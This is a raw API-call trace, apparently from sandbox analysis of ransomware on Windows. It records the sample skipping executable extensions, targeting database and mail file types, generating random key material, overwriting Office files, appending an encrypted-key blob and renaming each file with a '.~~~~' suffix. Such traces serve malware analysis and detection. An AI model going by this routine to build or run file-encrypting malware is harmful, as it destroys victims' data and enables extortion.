	[0145.809] GetCurrentThreadId () returned 0x9cc
	[0145.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0145.809] lstrlenW (lpString=".cmd") returned 4
	[0145.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0145.809] lstrlenW (lpString=".dll") returned 4
	[0145.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0145.809] lstrlenW (lpString=".bat") returned 4
	[0145.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0145.809] lstrlenW (lpString=".cpl") returned 4
	[0145.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0145.809] lstrlenW (lpString=".sys") returned 4
	[0145.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0145.809] lstrlenW (lpString=".msc") returned 4
	[0145.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0145.809] lstrlenW (lpString=".com") returned 4
	[0145.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".com") returned 0x0
	[0145.809] lstrlenW (lpString=".lnk") returned 4
	[0145.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0145.809] lstrlenW (lpString=".msp") returned 4
	[0145.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0145.809] lstrlenW (lpString=".pif") returned 4
	[0145.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0145.809] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0145.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0145.812] lstrlenW (lpString=".sqb") returned 4
	[0145.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0145.812] lstrlenW (lpString=".ost") returned 4
	[0145.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0145.812] lstrlenW (lpString=".txt") returned 4
	[0145.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0145.812] lstrlenW (lpString=".mdt") returned 4
	[0145.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0145.812] lstrlenW (lpString=".BDB") returned 4
	[0145.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0145.812] lstrlenW (lpString=".eql") returned 4
	[0145.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0145.812] lstrlenW (lpString=".DBF") returned 4
	[0145.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0145.813] lstrlenW (lpString=".EQL") returned 4
	[0145.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0145.813] lstrlenW (lpString=".FDB") returned 4
	[0145.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0145.813] lstrlenW (lpString=".EDB") returned 4
	[0145.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0145.813] lstrlenW (lpString=".DACPAC") returned 7
	[0145.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0145.813] lstrlenW (lpString=".VHD") returned 4
	[0145.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0145.813] lstrlenW (lpString=".DBV") returned 4
	[0145.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0145.813] lstrlenW (lpString=".dacpac") returned 7
	[0145.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0145.813] lstrlenW (lpString=".sdf") returned 4
	[0145.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0145.813] lstrlenW (lpString=".accdb") returned 6
	[0145.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0145.813] lstrlenW (lpString=".DBX") returned 4
	[0145.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0145.813] lstrlenW (lpString=".MDT") returned 4
	[0145.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0145.813] lstrlenW (lpString=".SQB") returned 4
	[0145.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0145.813] lstrlenW (lpString=".vhd") returned 4
	[0145.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0145.813] lstrlenW (lpString=".bac") returned 4
	[0145.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0145.813] lstrlenW (lpString=".mdf") returned 4
	[0145.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0145.813] lstrlenW (lpString=".BAK") returned 4
	[0145.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0145.813] lstrlenW (lpString=".BAC") returned 4
	[0145.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0145.813] lstrlenW (lpString=".dbs") returned 4
	[0145.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0145.814] lstrlenW (lpString=".vhdx") returned 5
	[0145.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0145.814] lstrlenW (lpString=".NDF") returned 4
	[0145.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0145.814] lstrlenW (lpString=".dat") returned 4
	[0145.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0145.814] lstrlenW (lpString=".DBS") returned 4
	[0145.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0145.814] lstrlenW (lpString=".CKP") returned 4
	[0145.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0145.814] lstrlenW (lpString=".edb") returned 4
	[0145.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0145.814] lstrlenW (lpString=".PST") returned 4
	[0145.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0145.814] lstrlenW (lpString=".dbf") returned 4
	[0145.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0145.814] lstrlenW (lpString=".SQL") returned 4
	[0145.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0145.814] lstrlenW (lpString=".pst") returned 4
	[0145.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0145.814] lstrlenW (lpString=".dbv") returned 4
	[0145.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0145.814] lstrlenW (lpString=".SDF") returned 4
	[0145.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0145.814] lstrlenW (lpString=".dtxs") returned 5
	[0145.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0145.814] lstrlenW (lpString=".db3") returned 4
	[0145.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0145.814] lstrlenW (lpString=".OST") returned 4
	[0145.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0145.814] lstrlenW (lpString=".dbx") returned 4
	[0145.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0145.814] lstrlenW (lpString=".DB3") returned 4
	[0145.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0145.814] lstrlenW (lpString=".DAT") returned 4
	[0145.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0145.815] lstrlenW (lpString=".VHDX") returned 5
	[0145.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0145.815] lstrlenW (lpString=".ndf") returned 4
	[0145.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0145.815] lstrlenW (lpString=".DB") returned 3
	[0145.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0145.815] lstrlenW (lpString=".sql") returned 4
	[0145.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0145.815] lstrlenW (lpString=".MYD") returned 4
	[0145.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0145.815] lstrlenW (lpString=".DBT") returned 4
	[0145.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0145.815] lstrlenW (lpString=".ACCDB") returned 6
	[0145.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0145.815] lstrlenW (lpString=".fdb") returned 4
	[0145.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0145.815] lstrlenW (lpString=".bak") returned 4
	[0145.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0145.815] lstrlenW (lpString=".myd") returned 4
	[0145.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0145.815] lstrlenW (lpString=".DTXS") returned 5
	[0145.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0145.815] lstrlenW (lpString=".ckp") returned 4
	[0145.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0145.815] lstrlenW (lpString=".dbt") returned 4
	[0145.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0145.815] lstrlenW (lpString=".db") returned 3
	[0145.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".db") returned 0x0
	[0145.815] lstrlenW (lpString=".TXT") returned 4
	[0145.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0145.815] lstrlenW (lpString=".MDF") returned 4
	[0145.815] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0145.815] lstrlenW (lpString=".bdb") returned 4
	[0145.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0145.816] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.816] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.816] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0145.817] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.817] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.817] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26580706640) returned 1
	[0145.817] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc0512f10, dwHighDateTime=0x1d60e1e)) 
	[0145.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f908
	[0145.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f908 | out: hHeap=0x300000) returned 1
	[0145.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d00c0
	[0145.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870a20
	[0145.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d00c0 | out: hHeap=0x300000) returned 1
	[0145.818] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0145.818] GetLastError () returned 0x0
	[0145.818] GetLastError () returned 0x0
	[0145.818] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0145.818] GetLastError () returned 0x0
	[0145.818] GetLastError () returned 0x0
	[0145.818] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0145.820] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.820] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0145.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.820] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.820] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.820] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.820] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.820] CloseHandle (hObject=0x114) returned 1
	[0145.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d00c0
	[0145.820] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk.~~~~")) returned 1
	[0145.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d00c0 | out: hHeap=0x300000) returned 1
	[0145.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.823] GetLastError () returned 0x0
	[0145.823] RtlWakeConditionVariable () returned 0x0
	[0145.823] GetCurrentThreadId () returned 0x9cc
	[0145.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0145.824] lstrlenW (lpString=".cmd") returned 4
	[0145.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0145.824] lstrlenW (lpString=".dll") returned 4
	[0145.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0145.824] lstrlenW (lpString=".bat") returned 4
	[0145.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0145.824] lstrlenW (lpString=".cpl") returned 4
	[0145.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0145.824] lstrlenW (lpString=".sys") returned 4
	[0145.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0145.824] lstrlenW (lpString=".msc") returned 4
	[0145.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0145.824] lstrlenW (lpString=".com") returned 4
	[0145.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".com") returned 0x0
	[0145.824] lstrlenW (lpString=".lnk") returned 4
	[0145.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0145.824] lstrlenW (lpString=".msp") returned 4
	[0145.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0145.824] lstrlenW (lpString=".pif") returned 4
	[0145.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0145.824] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0145.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0145.827] lstrlenW (lpString=".sqb") returned 4
	[0145.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0145.827] lstrlenW (lpString=".ost") returned 4
	[0145.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0145.827] lstrlenW (lpString=".txt") returned 4
	[0145.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0145.827] lstrlenW (lpString=".mdt") returned 4
	[0145.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0145.828] lstrlenW (lpString=".BDB") returned 4
	[0145.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0145.828] lstrlenW (lpString=".eql") returned 4
	[0145.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0145.828] lstrlenW (lpString=".DBF") returned 4
	[0145.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0145.828] lstrlenW (lpString=".EQL") returned 4
